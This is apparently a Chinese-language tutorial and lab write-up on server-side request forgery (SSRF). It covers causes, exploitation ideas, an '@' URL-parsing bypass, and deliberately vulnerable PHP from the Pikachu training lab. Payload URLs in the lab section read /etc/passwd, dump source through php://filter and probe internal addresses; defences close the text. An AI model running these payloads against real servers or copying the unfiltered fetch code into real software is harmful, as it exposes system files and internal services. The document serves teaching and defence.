概念
在服务器端请求伪造 (SSRF) 攻击中,攻击者可以滥用服务器上的功能来读取或更新内部资源
攻击者可以提供或修改服务器上运行的代码将读取或提交数据的 URL
通过精心选择 URL,攻击者或许能够读取服务器配置(例如 AWS 元数据)、连接到内部服务(例如支持 http 的数据库),或向不应公开的内部服务执行 post 请求
形成原因
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等
数据流:攻击者----->服务器---->目标地址
分析
首先,我们要对目标网站的架构了解,脑子了要有一个架构图
比如:A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求
正常用户访问网站的流程是
输入A网站URL-->发送请求-->A服务器接受请求(没有过滤)并处理-->返回用户响应
【网站有个请求是www.1234.com/xxx.php?image=URL】
那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据
漏洞利用
利用姿势
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网web应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
- 利用file协议读取本地文件等
绕过
利用解析URL出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。
这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
http://123.com
@192.168.0.1/
http:/123.com
会被识别为用户名192.168.0.1/
会被识别为实际访问的地址
哪里容易挖到SSRF?
常见位置
- 通过URL地址分享网页内容
- 转码服务
- 在线翻译
- 图片加载与下载:通过URL地址加载或下载图片
- 图片、文章收藏功能
- 未公开的api实现以及其他调用URL的功能
- 从URL关键字中寻找share、wap、url、src....
所有通过调取外部资源的参数都有可能存在SSRF
SSRF的后端实现
根据后台使用的函数的不同,对应的影响和利用方法不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
获取本地或远程文件内容fsockopen()
获取套接字信息curl_exec()
随意攻击内网中的所有应用fopen()
打开文件或URLreadfile()
输出一个文件
file get contents
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器
比如:
这里拿到url
参数的内容没有检查,直接拼接到文件路径去获取资源了
实战
Pikachu
curl_exec
http://192.168.8.131/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
源码分析
<?php
//payload:
//file:///etc/passwd 读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问题是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
?>
利用
用于url传入后会由curl
进行请求并返回前端,所以可以直接修改为其他网站来获取信息
http://192.168.8.131/pikachu/vul/ssrf/ssrf_curl.php?url=www.baidu.com
file_get_contents
http://192.168.8.131/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
源码分析
<?php
//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
?>
利用
知道本地文件路径可以直接通过路径读取本地文件
绝对路径
http://192.168.8.131/pikachu/vul/ssrf/ssrf_fgc.php?file=c://test/flag_lr.txt
相对路径
http://192.168.8.131/pikachu/vul/ssrf/ssrf_fgc.php?file=../flag_lr.txt
PHP伪协议
通过 php://filter 协议读取文件内容并编码输出,避免因非PHP文件无法直接显示的问题
http://192.168.8.131/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
能拿到ssrf.php
的源码的base64编码后的值
内网地址
http://192.168.8.131/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/index.php
防御
- 通过正则表达式编写不允许访问本机和内网
- 用户指定(或者预埋在前端的请求)的地址进行资源请求则请做好目标地址的过滤
- 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤
- 限制协议只为HTTP、HTTPS,减少其他如
file://
、gopher://
和ftp://
等可能引起的问题协议 - 禁止3xx跳转,重定向
- 设置URL白名单或者限制内网IP